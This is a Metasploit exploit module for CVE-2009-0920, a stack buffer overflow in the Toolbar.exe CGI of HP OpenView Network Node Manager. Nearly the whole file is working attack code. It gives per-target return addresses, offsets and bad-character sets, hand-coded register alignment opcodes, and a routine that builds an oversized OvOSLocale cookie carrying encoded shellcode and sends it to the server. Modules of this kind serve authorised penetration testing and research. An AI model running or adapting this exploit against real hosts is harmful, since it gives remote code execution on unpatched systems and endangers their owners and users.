##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.0
          and 7.53.  By sending a CGI request with a specially OvOSLocale cookie to Toolbar.exe, an
          attacker may be able to execute arbitrary code.  Please note that this module only works
          against a specific build (i.e. NNM 7.53_01195)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Oren Isacson', # original discovery
          'juan vazquez' # metasploit module (7.0 target)
        ],
        'References' => [
          [ 'CVE', '2009-0920' ],
          [ 'OSVDB', '53242' ],
          [ 'BID', '34294' ],
          [ 'URL', 'http://www.coresecurity.com/content/openview-buffer-overflows']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Privileged' => false,
        'Payload' => {
          'Space' => 4000,
          'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x7f\x3b\x2b",
          'DisableNops' => true, # no need
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' => { 'BufferRegister' => 'EDX' }
        },
        'Platform' => 'win',
        'Targets' => [
          [
            # Windows XP SP3
            'HP OpenView Network Node Manager Release B.07.00',
            {
              'Ret' => 0x5A212147, # ovsnmp.dll call esp
              'Offset' => 0xFC, # until EIP
              # Pointer to string with length < 0x100
              # Avoid crash before vulnerable function returns
              # And should work as a "NOP" since it will prepend shellcode
              # 'ReadAddress' => 0x5A03A225,# ov.dll
              'ReadAddress' => 0x5A03A225, # ov.dll
              'EDXAdjust' => 0x17
              # 0x8 => offset until "0x90" nops
              # 0x4 => "0x90" nops
              # 0x2 => len(push esp, pop edx)
              # 0x3 => len(sub)
              # 0x6 => len(add)
            }
          ],
          [
            # Windows Server 2003
            'HP OpenView Network Node Manager 7.53 Patch 01195',
            {
              'Author' => 'sinn3r',
              'Eax' => 0x5a456eac, # Readable address for CMP BYTE PTR DS:[EAX],0
              'EaxOffset' => 251, # Offset to overwrite EAX
              'Ret' => 0x5A23377C, # CALL EDI
              'Max' => 8000 # Max buffer size
            }
          ]
        ],
        'DisclosureDate' => '2009-01-21',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    if target.name =~ /7\.53/

      # EDX alignment for alphanumeric shellcode
      # payload is in EDI first.  We exchange it with EDX, align EDX, and then
      # jump to it.
      align = "\x87\xfa" # xchg edi,edx
      align << "\x80\xc2\x27"  # add dl,0x27
      align << "\xff\xe2"      # jmp edx

      # Add the alignment code to payload
      p = align + payload.encoded

      sploit = 'en_US'
      sploit << rand_text_alphanumeric(247)
      sploit << [target.ret].pack('V*')
      sploit << rand_text_alphanumeric(target['EaxOffset'] - sploit.length + 'en_US'.length)
      sploit << [target['Eax']].pack('V*')
      sploit << rand_text_alphanumeric(3200)
      sploit << make_nops(100 - align.length)
      sploit << align
      sploit << p
      sploit << rand_text_alphanumeric(target['Max'] - sploit.length)

    elsif target.name =~ /B\.07\.00/

      edx = Rex::Arch::X86::EDX

      sploit = 'en_US'
      sploit << rand_text_alphanumeric(target['Offset'] - 'en_US'.length, payload_badchars)
      sploit << [target.ret].pack('V')
      sploit << [target['ReadAddress']].pack('V')
      sploit << "\x90\x90\x90\x90"
      # Get in EDX a pointer to the shellcode start
      sploit << "\x54" # push esp
      sploit << "\x5A" # pop edx
      sploit << Rex::Arch::X86.sub(-(target['EDXAdjust']), edx, payload_badchars, false, true)
      sploit << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000
      sploit << payload.encoded

    end

    # Send the malicious request to /OvCgi/ToolBar.exe
    # If the buffer contains a badchar, NNM 7.53 will return a "400 Bad Request".
    # If the exploit causes ToolBar.exe to crash, NNM returns "error in CGI Application"
    send_request_raw({
      'uri' => '/OvCgi/Toolbar.exe',
      'method' => 'GET',
      'cookie' => 'OvOSLocale=' + sploit + '; OvAcceptLang=en-usa'
    }, 20)

    handler
    disconnect
  end
end

=begin
NNM B.07.00's badchar set:
00 0D 0A 20 3B 3D 2C 2B

NNM 7.53_01195's badchar set:
01 02 03 04 05 06 07 08 0a 0b 0c 0d 0e 0f 10 11    ................
12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 7f       ...............
3b = delimiter
2b = gets converted to 0x2b
=end